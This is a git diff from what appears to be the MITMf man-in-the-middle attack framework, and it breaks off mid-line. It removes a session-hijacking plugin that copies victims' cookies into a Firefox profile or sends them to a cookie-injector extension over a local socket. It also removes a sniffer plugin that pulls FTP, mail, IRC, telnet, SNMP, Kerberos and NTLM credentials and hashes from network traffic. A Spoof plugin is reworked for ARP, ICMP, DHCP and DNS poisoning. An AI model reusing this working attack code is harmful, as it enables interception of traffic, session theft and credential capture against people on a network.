-import json -import socket - -mitmf_logger = logging.getLogger('mitmf') - -class SessionHijacker(Plugin): - name = "Session Hijacker" - optname = "hijack" - desc = "Performs session hijacking attacks against clients" - implements = ["cleanHeaders"] #["handleHeader"] - version = "0.1" - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.psl = PublicSuffixList() - self.firefox = options.firefox - self.mallory = options.mallory - self.save_dir = "./logs" - self.seen_hosts = {} - self.sql_conns = {} - self.sessions = [] - self.html_header="

Cookies sniffed for the following domains\n
\n
" - - #Recent versions of Firefox use "PRAGMA journal_mode=WAL" which requires - #SQLite version 3.7.0 or later. You won't be able to read the database files - #with SQLite version 3.6.23.1 or earlier. You'll get the "file is encrypted - #or is not a database" message. - - sqlv = sqlite3.sqlite_version.split('.') - if (sqlv[0] <3 or sqlv[1] < 7): - sys.exit("[-] sqlite3 version 3.7 or greater required") - - if not os.path.exists("./logs"): - os.makedirs("./logs") - - if self.mallory: - t = threading.Thread(name='mallory_server', target=self.mallory_server, args=()) - t.setDaemon(True) - t.start() - - def cleanHeaders(self, request): # Client => Server - headers = request.getAllHeaders().copy() - client_ip = request.getClientIP() - - if 'cookie' in headers: - - if self.firefox: - url = "http://" + headers['host'] + request.getPathFromUri() - for cookie in headers['cookie'].split(';'): - eq = cookie.find("=") - cname = str(cookie)[0:eq].strip() - cvalue = str(cookie)[eq+1:].strip() - self.firefoxdb(headers['host'], cname, cvalue, url, client_ip) - - mitmf_logger.info("%s << Inserted cookie into firefox db" % client_ip) - - if self.mallory: - if len(self.sessions) > 0: - temp = [] - for session in self.sessions: - temp.append(session[0]) - if headers['host'] not in temp: - self.sessions.append((headers['host'], headers['cookie'])) - mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) - mitmf_logger.info("%s Sent cookie to browser extension" % client_ip) - else: - self.sessions.append((headers['host'], headers['cookie'])) - mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) - mitmf_logger.info("%s Sent cookie to browser extension" % client_ip) - - #def handleHeader(self, request, key, value): # Server => Client - # if 'set-cookie' in request.client.headers: - # cookie = request.client.headers['set-cookie'] - # #host = request.client.headers['host'] #wtf???? - # message = "%s Got server cookie: %s" % (request.client.getClientIP(), cookie) - # if self.urlMonitor.isClientLogging() is True: - # self.urlMonitor.writeClientLog(request.client, request.client.headers, message) - # else: - # mitmf_logger.info(message) - - def mallory_server(self): - host = '' - port = 20666 - server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - server.bind((host,port)) - server.listen(1) - while True: - client, addr = server.accept() - if addr[0] != "127.0.0.1": - client.send("Hacked By China!") - client.close() - continue - request = client.recv(8192) - request = request.split('\n') - path = request[0].split()[1] - client.send("HTTP/1.0 200 OK\r\n") - client.send("Content-Type: text/html\r\n\r\n") - if path == "/": - client.send(json.dumps(self.sessions)) - client.close() - - def firefoxdb(self, host, cookie_name, cookie_value, url, ip): - - session_dir=self.save_dir + "/" + ip - cookie_file=session_dir +'/cookies.sqlite' - cookie_file_exists = os.path.exists(cookie_file) - - if (ip not in (self.sql_conns and os.listdir("./logs"))): - - try: - if not os.path.exists(session_dir): - os.makedirs(session_dir) - - db = sqlite3.connect(cookie_file, isolation_level=None) - self.sql_conns[ip] = db.cursor() - - if not cookie_file_exists: - self.sql_conns[ip].execute("CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER, CONSTRAINT moz_uniqueid UNIQUE (name, host, path))") - self.sql_conns[ip].execute("CREATE INDEX moz_basedomain ON moz_cookies (baseDomain)") - except Exception, e: - print str(e) - - scheme = urlparse(url).scheme - scheme = (urlparse(url).scheme) - basedomain = self.psl.get_public_suffix(host) - address = urlparse(url).hostname - short_url = scheme + "://"+ address - - log = open(session_dir + '/visited.html','a') - if (ip not in self.seen_hosts): - self.seen_hosts[ip] = {} - log.write(self.html_header) - - if (address not in self.seen_hosts[ip]): - self.seen_hosts[ip][address] = 1 - log.write("\n
\n%s" %(short_url, address)) - - log.close() - - if address == basedomain: - address = "." + address - - expire_date = 2000000000 #Year2033 - now = int(time.time()) - 600 - self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0)) - - def add_options(self, options): - options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies') - options.add_argument('--mallory', dest='mallory', action='store_true', default=False, help='Send cookies to the Mallory cookie injector browser extension') - - def finish(self): - if self.firefox: - print "\n[*] To load a session run: 'firefox -profile logs//visited.html'" \ No newline at end of file diff --git a/plugins/Sniffer.py b/plugins/Sniffer.py deleted file mode 100644 index ca0ba51..0000000 --- a/plugins/Sniffer.py +++ /dev/null @@ -1,815 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -#This is a MITMf port of net-creds https://github.com/DanMcInerney/net-creds - -from plugins.plugin import Plugin -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) -from scapy.all import * -from sys import exit -from collections import OrderedDict -from StringIO import StringIO -import binascii -import struct -import pcap -import base64 -import threading -import re -import os - -mitmf_logger = logging.getLogger('mitmf') - -class Sniffer(Plugin): - name = "Sniffer" - optname = "sniffer" - desc = "Sniffs for various protocol login and auth attempts" - tree_output = ["Net-Creds online"] - implements = ["sendRequest"] - version = "0.1" - has_opts = False - - def initialize(self, options): - self.options = options - self.interface = options.interface - #self.parse = options.parse - - #these field names were stolen from the etter.fields file (Ettercap Project) - self.http_userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name', - 'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname', - 'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename', - 'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username', - 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in'] - - self.http_passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', - 'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password' - 'passwort', 'passwrd', 'wppassword', 'upasswd'] - - if os.geteuid() != 0: - sys.exit("[-] Sniffer plugin requires root privileges") - - n = NetCreds() - #if not self.parse: - t = threading.Thread(name="sniffer", target=n.start, args=(self.interface,)) - t.setDaemon(True) - t.start() - - #else: - # pcap = rdpcap(self.parse) - # for pkt in pcap: - # n.pkt_parser(pkt) - - #def add_options(self, options): - # options.add_argument('--parse', dest='parse', type=str, default=None, help='Parse pcap') - - def sendRequest(self, request): - #Capture google searches - if ('google' in request.headers['host']): - if ('search' in request.uri): - self.captureQueries('q', request) - - #Capture bing searches - if ('bing' in request.headers['host']): - if ('Suggestions' in request.uri): - self.captureQueries('qry', request) - - #Capture yahoo searches - if ('search.yahoo' in request.headers['host']): - if ('nresults' in request.uri): - self.captureQueries('command', request) - - self.captureURLCreds(request) - - def captureQueries(self, search_param, request): - try: - for param in request.uri.split('&'): - if param.split('=')[0] == search_param: - query = str(param.split('=')[1]) - if query: - mitmf_logger.info(request.clientInfo + "is querying %s for: %s" % (request.headers['host'], query)) - except Exception, e: - error = str(e) - mitmf_logger.warning(request.clientInfo + "Error parsing search query %s" % error) - - def captureURLCreds(self, request): - ''' - checks for creds passed via GET requests or just in the url - It's surprising to see how many people still do this (please stahp) - ''' - - url = request.uri - - username = None - password = None - for user in self.http_userfields: - #search = re.findall("("+ user +")=([^&|;]*)", request.uri, re.IGNORECASE) - search = re.search('(%s=[^&]+)' % user, url, re.IGNORECASE) - if search: - username = search.group() - - for passw in self.http_passfields: - #search = re.findall("(" + passw + ")=([^&|;]*)", request.uri, re.IGNORECASE) - search = re.search('(%s=[^&]+)' % passw, url, re.IGNORECASE) - if search: - password = search.group() - - if (username and password): - mitmf_logger.warning(request.clientInfo + "Possible Credentials (Method: %s, Host: %s):\n%s" % (request.command, request.headers['host'], url)) - -class NetCreds: - - def __init__(self): - self.pkt_frag_loads = OrderedDict() - self.challenge_acks = OrderedDict() - self.mail_auths = OrderedDict() - self.telnet_stream = OrderedDict() - - # Regexs - self.authenticate_re = '(www-|proxy-)?authenticate' - self.authorization_re = '(www-|proxy-)?authorization' - self.ftp_user_re = r'USER (.+)\r\n' - self.ftp_pw_re = r'PASS (.+)\r\n' - self.irc_user_re = r'NICK (.+?)((\r)?\n|\s)' - self.irc_pw_re = r'NS IDENTIFY (.+)' - self.mail_auth_re = '(\d+ )?(auth|authenticate) (login|plain)' - self.mail_auth_re1 = '(\d+ )?login ' - self.NTLMSSP2_re = 'NTLMSSP\x00\x02\x00\x00\x00.+' - self.NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+' - - def start(self, interface): - try: - sniff(iface=interface, prn=self.pkt_parser, store=0) - except Exception: - pass - - def frag_remover(self, ack, load): - ''' - Keep the FILO OrderedDict of frag loads from getting too large - 3 points of limit: - Number of ip_ports < 50 - Number of acks per ip:port < 25 - Number of chars in load < 5000 - ''' - - # Keep the number of IP:port mappings below 50 - # last=False pops the oldest item rather than the latest - while len(self.pkt_frag_loads) > 50: - self.pkt_frag_loads.popitem(last=False) - - # Loop through a deep copy dict but modify the original dict - copy_pkt_frag_loads = copy.deepcopy(self.pkt_frag_loads) - for ip_port in copy_pkt_frag_loads: - if len(copy_pkt_frag_loads[ip_port]) > 0: - # Keep 25 ack:load's per ip:port - while len(copy_pkt_frag_loads[ip_port]) > 25: - self.pkt_frag_loads[ip_port].popitem(last=False) - - # Recopy the new dict to prevent KeyErrors for modifying dict in loop - copy_pkt_frag_loads = copy.deepcopy(self.pkt_frag_loads) - for ip_port in copy_pkt_frag_loads: - # Keep the load less than 75,000 chars - for ack in copy_pkt_frag_loads[ip_port]: - # If load > 5000 chars, just keep the last 200 chars - if len(copy_pkt_frag_loads[ip_port][ack]) > 5000: - self.pkt_frag_loads[ip_port][ack] = self.pkt_frag_loads[ip_port][ack][-200:] - - def frag_joiner(self, ack, src_ip_port, load): - ''' - Keep a store of previous fragments in an OrderedDict named pkt_frag_loads - ''' - for ip_port in self.pkt_frag_loads: - if src_ip_port == ip_port: - if ack in self.pkt_frag_loads[src_ip_port]: - # Make pkt_frag_loads[src_ip_port][ack] = full load - old_load = self.pkt_frag_loads[src_ip_port][ack] - concat_load = old_load + load - return OrderedDict([(ack, concat_load)]) - - return OrderedDict([(ack, load)]) - - def pkt_parser(self, pkt): - ''' - Start parsing packets here - ''' - - if pkt.haslayer(Raw): - load = pkt[Raw].load - - # Get rid of Ethernet pkts with just a raw load cuz these are usually network controls like flow control - if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6): - return - - # UDP - if pkt.haslayer(UDP) and pkt.haslayer(IP) and pkt.haslayer(Raw): - - src_ip_port = str(pkt[IP].src) + ':' + str(pkt[UDP].sport) - dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[UDP].dport) - - # SNMP community strings - if pkt.haslayer(SNMP): - self.parse_snmp(src_ip_port, dst_ip_port, pkt[SNMP]) - return - - # Kerberos over UDP - decoded = self.Decode_Ip_Packet(str(pkt)[14:]) - kerb_hash = self.ParseMSKerbv5UDP(decoded['data'][8:]) - if kerb_hash: - self.printer(src_ip_port, dst_ip_port, kerb_hash) - - # TCP - elif pkt.haslayer(TCP) and pkt.haslayer(Raw): - - ack = str(pkt[TCP].ack) - seq = str(pkt[TCP].seq) - src_ip_port = str(pkt[IP].src) + ':' + str(pkt[TCP].sport) - dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[TCP].dport) - self.frag_remover(ack, load) - self.pkt_frag_loads[src_ip_port] = self.frag_joiner(ack, src_ip_port, load) - full_load = self.pkt_frag_loads[src_ip_port][ack] - - # Limit the packets we regex to increase efficiency - # 750 is a bit arbitrary but some SMTP auth success pkts - # are 500+ characters - if 0 < len(full_load) < 750: - - # FTP - ftp_creds = self.parse_ftp(full_load, dst_ip_port) - if len(ftp_creds) > 0: - for msg in ftp_creds: - self.printer(src_ip_port, dst_ip_port, msg) - return - - # Mail - mail_creds_found = self.mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq) - - # IRC - irc_creds = self.irc_logins(full_load) - if irc_creds != None: - self.printer(src_ip_port, dst_ip_port, irc_creds) - return - - # Telnet - self.telnet_logins(src_ip_port, dst_ip_port, load, ack, seq) - #if telnet_creds != None: - # printer(src_ip_port, dst_ip_port, telnet_creds) - # return - - # HTTP and other protocols that run on TCP + a raw load - self.other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt) - - def telnet_logins(self, src_ip_port, dst_ip_port, load, ack, seq): - ''' - Catch telnet logins and passwords - ''' - - msg = None - - if src_ip_port in self.telnet_stream: - # Do a utf decode in case the client sends telnet options before their username - # No one would care to see that - try: - self.telnet_stream[src_ip_port] += load.decode('utf8') - except UnicodeDecodeError: - pass - - # \r or \r\n terminate commands in telnet if my pcaps are to be believed - if '\r' in self.telnet_stream[src_ip_port] or '\r\n' in self.telnet_stream[src_ip_port]: - telnet_split = self.telnet_stream[src_ip_port].split(' ', 1) - cred_type = telnet_split[0] - value = telnet_split[1].replace('\r\n', '').replace('\r', '') - # Create msg, the return variable - msg = 'Telnet %s: %s' % (cred_type, value) - del self.telnet_stream[src_ip_port] - self.printer(src_ip_port, dst_ip_port, msg) - - # This part relies on the telnet packet ending in - # "login:", "password:", or "username:" and being <750 chars - # Haven't seen any false+ but this is pretty general - # might catch some eventually - # maybe use dissector.py telnet lib? - if len(self.telnet_stream) > 100: - self.telnet_stream.popitem(last=False) - mod_load = load.lower().strip() - if mod_load.endswith('username:') or mod_load.endswith('login:'): - self.telnet_stream[dst_ip_port] = 'username ' - elif mod_load.endswith('password:'): - self.telnet_stream[dst_ip_port] = 'password ' - - def ParseMSKerbv5TCP(self, Data): - ''' - Taken from Pcredz because I didn't want to spend the time doing this myself - I should probably figure this out on my own but hey, time isn't free, why reinvent the wheel? - Maybe replace this eventually with the kerberos python lib - Parses Kerberosv5 hashes from packets - ''' - try: - MsgType = Data[21:22] - EncType = Data[43:44] - MessageType = Data[32:33] - except IndexError: - return - - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": - HashLen = struct.unpack(' 1: - lines = full_load.count('\r\n') - if lines > 1: - full_load = full_load.split('\r\n')[-2] # -1 is '' - return full_load - - def parse_ftp(self, full_load, dst_ip_port): - ''' - Parse out FTP creds - ''' - print_strs = [] - - # Sometimes FTP packets double up on the authentication lines - # We just want the lastest one. Ex: "USER danmcinerney\r\nUSER danmcinerney\r\n" - full_load = self.double_line_checker(full_load, 'USER') - - # FTP and POP potentially use idential client > server auth pkts - ftp_user = re.match(self.ftp_user_re, full_load) - ftp_pass = re.match(self.ftp_pw_re, full_load) - - if ftp_user: - msg1 = 'FTP User: %s' % ftp_user.group(1).strip() - print_strs.append(msg1) - if dst_ip_port[-3:] != ':21': - msg2 = 'Nonstandard FTP port, confirm the service that is running on it' - print_strs.append(msg2) - - elif ftp_pass: - msg1 = 'FTP Pass: %s' % ftp_pass.group(1).strip() - print_strs.append(msg1) - if dst_ip_port[-3:] != ':21': - msg2 = 'Nonstandard FTP port, confirm the service that is running on it' - print_strs.append(msg2) - - return print_strs - - def mail_decode(self, src_ip_port, dst_ip_port, mail_creds): - ''' - Decode base64 mail creds - ''' - try: - decoded = base64.b64decode(mail_creds).replace('\x00', ' ').decode('utf8') - decoded = decoded.replace('\x00', ' ') - except TypeError: - decoded = None - except UnicodeDecodeError as e: - decoded = None - - if decoded != None: - msg = 'Decoded: %s' % decoded - self.printer(src_ip_port, dst_ip_port, msg) - - def mail_logins(self, full_load, src_ip_port, dst_ip_port, ack, seq): - ''' - Catch IMAP, POP, and SMTP logins - ''' - # Handle the first packet of mail authentication - # if the creds aren't in the first packet, save it in mail_auths - - # mail_auths = 192.168.0.2 : [1st ack, 2nd ack...] - - found = False - - # Sometimes mail packets double up on the authentication lines - # We just want the lastest one. Ex: "1 auth plain\r\n2 auth plain\r\n" - full_load = self.double_line_checker(full_load, 'auth') - - # Client to server 2nd+ pkt - if src_ip_port in self.mail_auths: - if seq in self.mail_auths[src_ip_port][-1]: - stripped = full_load.strip('\r\n') - try: - decoded = base64.b64decode(stripped) - msg = 'Mail authentication: %s' % decoded - self.printer(src_ip_port, dst_ip_port, msg) - except TypeError: - pass - self.mail_auths[src_ip_port].append(ack) - - # Server responses to client - # seq always = last ack of tcp stream - elif dst_ip_port in self.mail_auths: - if seq in self.mail_auths[dst_ip_port][-1]: - # Look for any kind of auth failure or success - a_s = 'Authentication successful' - a_f = 'Authentication failed' - # SMTP auth was successful - if full_load.startswith('235') and 'auth' in full_load.lower(): - # Reversed the dst and src - self.printer(dst_ip_port, src_ip_port, a_s) - found = True - try: - del self.mail_auths[dst_ip_port] - except KeyError: - pass - # SMTP failed - elif full_load.startswith('535 '): - # Reversed the dst and src - self.printer(dst_ip_port, src_ip_port, a_f) - found = True - try: - del self.mail_auths[dst_ip_port] - except KeyError: - pass - # IMAP/POP/SMTP failed - elif ' fail' in full_load.lower(): - # Reversed the dst and src - self.printer(dst_ip_port, src_ip_port, a_f) - found = True - try: - del self.mail_auths[dst_ip_port] - except KeyError: - pass - # IMAP auth success - elif ' OK [' in full_load: - # Reversed the dst and src - self.printer(dst_ip_port, src_ip_port, a_s) - found = True - try: - del self.mail_auths[dst_ip_port] - except KeyError: - pass - - # Pkt was not an auth pass/fail so its just a normal server ack - # that it got the client's first auth pkt - else: - if len(self.mail_auths) > 100: - self.mail_auths.popitem(last=False) - self.mail_auths[dst_ip_port].append(ack) - - # Client to server but it's a new TCP seq - # This handles most POP/IMAP/SMTP logins but there's at least one edge case - else: - mail_auth_search = re.match(self.mail_auth_re, full_load, re.IGNORECASE) - if mail_auth_search != None: - auth_msg = full_load - # IMAP uses the number at the beginning - if mail_auth_search.group(1) != None: - auth_msg = auth_msg.split()[1:] - else: - auth_msg = auth_msg.split() - # Check if its a pkt like AUTH PLAIN dvcmQxIQ== - # rather than just an AUTH PLAIN - if len(auth_msg) > 2: - mail_creds = ' '.join(auth_msg[2:]) - msg = 'Mail authentication: %s' % mail_creds - self.printer(src_ip_port, dst_ip_port, msg) - - self.mail_decode(src_ip_port, dst_ip_port, mail_creds) - try: - del self.mail_auths[src_ip_port] - except KeyError: - pass - found = True - - # Mail auth regex was found and src_ip_port is not in mail_auths - # Pkt was just the initial auth cmd, next pkt from client will hold creds - if len(self.mail_auths) > 100: - self.mail_auths.popitem(last=False) - self.mail_auths[src_ip_port] = [ack] - - # At least 1 mail login style doesn't fit in the original regex: - # 1 login "username" "password" - # This also catches FTP authentication! - # 230 Login successful. - elif re.match(self.mail_auth_re1, full_load, re.IGNORECASE) != None: - - # FTP authentication failures trigger this - #if full_load.lower().startswith('530 login'): - # return - - auth_msg = full_load - auth_msg = auth_msg.split() - if 2 < len(auth_msg) < 5: - mail_creds = ' '.join(auth_msg[2:]) - msg = 'Authentication: %s' % mail_creds - self.printer(src_ip_port, dst_ip_port, msg) - self.mail_decode(src_ip_port, dst_ip_port, mail_creds) - found = True - - if found == True: - return True - - def irc_logins(self, full_load): - ''' - Find IRC logins - ''' - user_search = re.match(self.irc_user_re, full_load) - pass_search = re.match(self.irc_pw_re, full_load) - if user_search: - msg = 'IRC nick: %s' % user_search.group(1) - return msg - if pass_search: - msg = 'IRC pass: %s' % pass_search.group(1) - self.printer(src_ip_port, dst_ip_port, msg) - return pass_search - - def headers_to_dict(self, header_lines): - ''' - Convert the list of header lines into a dictionary - ''' - headers = {} - # Incomprehensible list comprehension flattens list of headers - # that are each split at ': ' - # http://stackoverflow.com/a/406296 - headers_list = [x for line in header_lines for x in line.split(': ', 1)] - headers_dict = dict(zip(headers_list[0::2], headers_list[1::2])) - # Make the header key (like "Content-Length") lowercase - for header in headers_dict: - headers[header.lower()] = headers_dict[header] - - return headers - - def parse_http_load(self, full_load, http_methods): - ''' - Split the raw load into list of headers and body string - ''' - try: - headers, body = full_load.split("\r\n\r\n", 1) - except ValueError: - headers = full_load - body = '' - header_lines = headers.split("\r\n") - - # Pkts may just contain hex data and no headers in which case we'll - # still want to parse them for usernames and password - http_line = self.get_http_line(header_lines, http_methods) - if not http_line: - headers = '' - body = full_load - - header_lines = [line for line in header_lines if line != http_line] - - return http_line, header_lines, body - - def get_http_line(self, header_lines, http_methods): - ''' - Get the header with the http command - ''' - for header in header_lines: - for method in http_methods: - # / is the only char I can think of that's in every http_line - # Shortest valid: "GET /", add check for "/"? - if header.startswith(method): - http_line = header - return http_line - - - def other_parser(self, src_ip_port, dst_ip_port, full_load, ack, seq, pkt): - - #For now we will parse the HTTP headers through scapy and not through Twisted - #This will have to get changed in the future, seems a bit redundent - http_methods = ['GET ', 'POST ', 'CONNECT ', 'TRACE ', 'TRACK ', 'PUT ', 'DELETE ', 'HEAD '] - http_line, header_lines, body = self.parse_http_load(full_load, http_methods) - headers = self.headers_to_dict(header_lines) - - # Kerberos over TCP - decoded = self.Decode_Ip_Packet(str(pkt)[14:]) - kerb_hash = self.ParseMSKerbv5TCP(decoded['data'][20:]) - if kerb_hash: - self.printer(src_ip_port, dst_ip_port, kerb_hash) - - # Non-NETNTLM NTLM hashes (MSSQL, DCE-RPC,SMBv1/2,LDAP, MSSQL) - NTLMSSP2 = re.search(self.NTLMSSP2_re, full_load, re.DOTALL) - NTLMSSP3 = re.search(self.NTLMSSP3_re, full_load, re.DOTALL) - if NTLMSSP2: - self.parse_ntlm_chal(NTLMSSP2.group(), ack) - if NTLMSSP3: - ntlm_resp_found = self.parse_ntlm_resp(NTLMSSP3.group(), seq) - if ntlm_resp_found != None: - self.printer(src_ip_port, dst_ip_port, ntlm_resp_found) - - # Look for authentication headers - if len(headers) == 0: - authenticate_header = None - authorization_header = None - for header in headers: - authenticate_header = re.match(self.authenticate_re, header) - authorization_header = re.match(self.authorization_re, header) - if authenticate_header or authorization_header: - break - - if authorization_header or authenticate_header: - # NETNTLM - netntlm_found = self.parse_netntlm(authenticate_header, authorization_header, headers, ack, seq) - if netntlm_found != None: - self.printer(src_ip_port, dst_ip_port, netntlm_found) - - def parse_netntlm(self, authenticate_header, authorization_header, headers, ack, seq): - ''' - Parse NTLM hashes out - ''' - # Type 2 challenge from server - if authenticate_header != None: - chal_header = authenticate_header.group() - self.parse_netntlm_chal(headers, chal_header, ack) - - # Type 3 response from client - elif authorization_header != None: - resp_header = authorization_header.group() - msg = self.parse_netntlm_resp_msg(headers, resp_header, seq) - if msg != None: - return msg - - def parse_snmp(self, src_ip_port, dst_ip_port, snmp_layer): - ''' - Parse out the SNMP version and community string - ''' - if type(snmp_layer.community.val) == str: - ver = snmp_layer.version.val - msg = 'SNMPv%d community string: %s' % (ver, snmp_layer.community.val) - self.printer(src_ip_port, dst_ip_port, msg) - return True - - def parse_netntlm_chal(self, headers, chal_header, ack): - ''' - Parse the netntlm server challenge - https://code.google.com/p/python-ntlm/source/browse/trunk/python26/ntlm/ntlm.py - ''' - header_val2 = headers[chal_header] - header_val2 = header_val2.split(' ', 1) - # The header value can either start with NTLM or Negotiate - if header_val2[0] == 'NTLM' or header_val2[0] == 'Negotiate': - msg2 = header_val2[1] - msg2 = base64.decodestring(msg2) - self.parse_ntlm_chal(ack, msg2) - - def parse_ntlm_chal(self, msg2, ack): - ''' - Parse server challenge - ''' - - Signature = msg2[0:8] - msg_type = struct.unpack(" 50: - self.challenge_acks.popitem(last=False) - self.challenge_acks[ack] = ServerChallenge - - def parse_netntlm_resp_msg(self, headers, resp_header, seq): - ''' - Parse the client response to the challenge - ''' - header_val3 = headers[resp_header] - header_val3 = header_val3.split(' ', 1) - - # The header value can either start with NTLM or Negotiate - if header_val3[0] == 'NTLM' or header_val3[0] == 'Negotiate': - msg3 = base64.decodestring(header_val3[1]) - return self.parse_ntlm_resp(msg3, seq) - - def parse_ntlm_resp(self, msg3, seq): - ''' - Parse the 3rd msg in NTLM handshake - Thanks to psychomario - ''' - - if seq in self.challenge_acks: - challenge = self.challenge_acks[seq] - else: - challenge = 'CHALLENGE NOT FOUND' - - if len(msg3) > 43: - # Thx to psychomario for below - lmlen, lmmax, lmoff, ntlen, ntmax, ntoff, domlen, dommax, domoff, userlen, usermax, useroff = struct.unpack("12xhhihhihhihhi", msg3[:44]) - lmhash = binascii.b2a_hex(msg3[lmoff:lmoff+lmlen]) - nthash = binascii.b2a_hex(msg3[ntoff:ntoff+ntlen]) - domain = msg3[domoff:domoff+domlen].replace("\0", "") - user = msg3[useroff:useroff+userlen].replace("\0", "") - # Original check by psychomario, might be incorrect? - #if lmhash != "0"*48: #NTLMv1 - if ntlen == 24: #NTLMv1 - msg = '%s %s' % ('NETNTLMv1:', user+"::"+domain+":"+lmhash+":"+nthash+":"+challenge) - return msg - elif ntlen > 60: #NTLMv2 - msg = '%s %s' % ('NETNTLMv2:', user+"::"+domain+":"+challenge+":"+nthash[:32]+":"+nthash[32:]) - return msg - - def printer(self, src_ip_port, dst_ip_port, msg): - if dst_ip_port != None: - print_str = '%s --> %s %s' % (src_ip_port, dst_ip_port,msg) - # All credentials will have dst_ip_port, URLs will not - mitmf_logger.info(print_str) - else: - print_str = '%s %s' % (src_ip_port.split(':')[0], msg) - mitmf_logger.info(print_str) diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 0712dc7..148e84c 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -19,111 +19,122 @@ # import logging -import sys +from sys import exit from core.utils import SystemConfig, IpTables -from core.sslstrip.DnsCache import DnsCache -from core.wrappers.protocols import _ARP, _DHCP, _ICMP +from core.protocols.arp.ARPpoisoner import ARPpoisoner +from core.protocols.arp.ARPWatch import ARPWatch +from core.dnschef.DNSchef import DNSChef +from core.protocols.dhcp.DHCPServer import DHCPServer +from core.protocols.icmp.ICMPpoisoner import ICMPpoisoner from plugins.plugin import Plugin -from core.dnschef.dnschef import DNSChef - -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import * class Spoof(Plugin): - name = "Spoof" - optname = "spoof" - desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" - version = "0.6" - has_opts = True + name = "Spoof" + optname = "spoof" + desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" + tree_output = list() + version = "0.6" + has_opts = True - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.dnscfg = options.configfile['MITMf']['DNS'] - self.dhcpcfg = options.configfile['Spoof']['DHCP'] - self.target = options.target - self.manualiptables = options.manualiptables - self.protocolInstances = [] + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.dnscfg = self.config['MITMf']['DNS'] + self.dhcpcfg = self.config['Spoof']['DHCP'] + self.targets = options.targets + self.manualiptables = options.manualiptables + self.mymac = SystemConfig.getMAC(options.interface) + self.myip = SystemConfig.getIP(options.interface) + self.protocolInstances = [] - #Makes scapy more verbose - debug = False - if options.log_level is 'debug': - debug = True + #Makes scapy more verbose + debug = False + if options.log_level == 'debug': + debug = True - if options.arp: + if options.arp: - if not options.gateway: - sys.exit("[-] --arp argument requires --gateway") + if not options.gateway: + exit("[-] --arp argument requires --gateway") - arp = _ARP(options.gateway, options.interface, options.mac_address) - arp.target = options.target - arp.arpmode = options.arpmode - arp.debug = debug + if options.targets is None: + #if were poisoning whole subnet, start ARP-Watch + arpwatch = ARPWatch(options.gateway, self.myip, options.interface) + arpwatch.debug = debug - self.protocolInstances.append(arp) + self.tree_output.append("ARPWatch online") + self.protocolInstances.append(arpwatch) - elif options.icmp: + arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets) + arp.arpmode = options.arpmode + arp.debug = debug - if not options.gateway: - sys.exit("[-] --icmp argument requires --gateway") + self.protocolInstances.append(arp) - if not options.target: - sys.exit("[-] --icmp argument requires --target") - icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address) - icmp.debug = debug + elif options.icmp: - self.protocolInstances.append(icmp) + if not options.gateway: + exit("[-] --icmp argument requires --gateway") - elif options.dhcp: + if not options.targets: + exit("[-] --icmp argument requires --targets") - if options.target: - sys.exit("[-] --target argument invalid when DCHP spoofing") + icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, options.ip_address) + icmp.debug = debug - dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) - dhcp.shellshock = options.shellshock - dhcp.debug = debug - self.protocolInstances.append(dhcp) + self.protocolInstances.append(icmp) - if options.dns: + elif options.dhcp: - if not options.manualiptables: - if IpTables.getInstance().dns is False: - 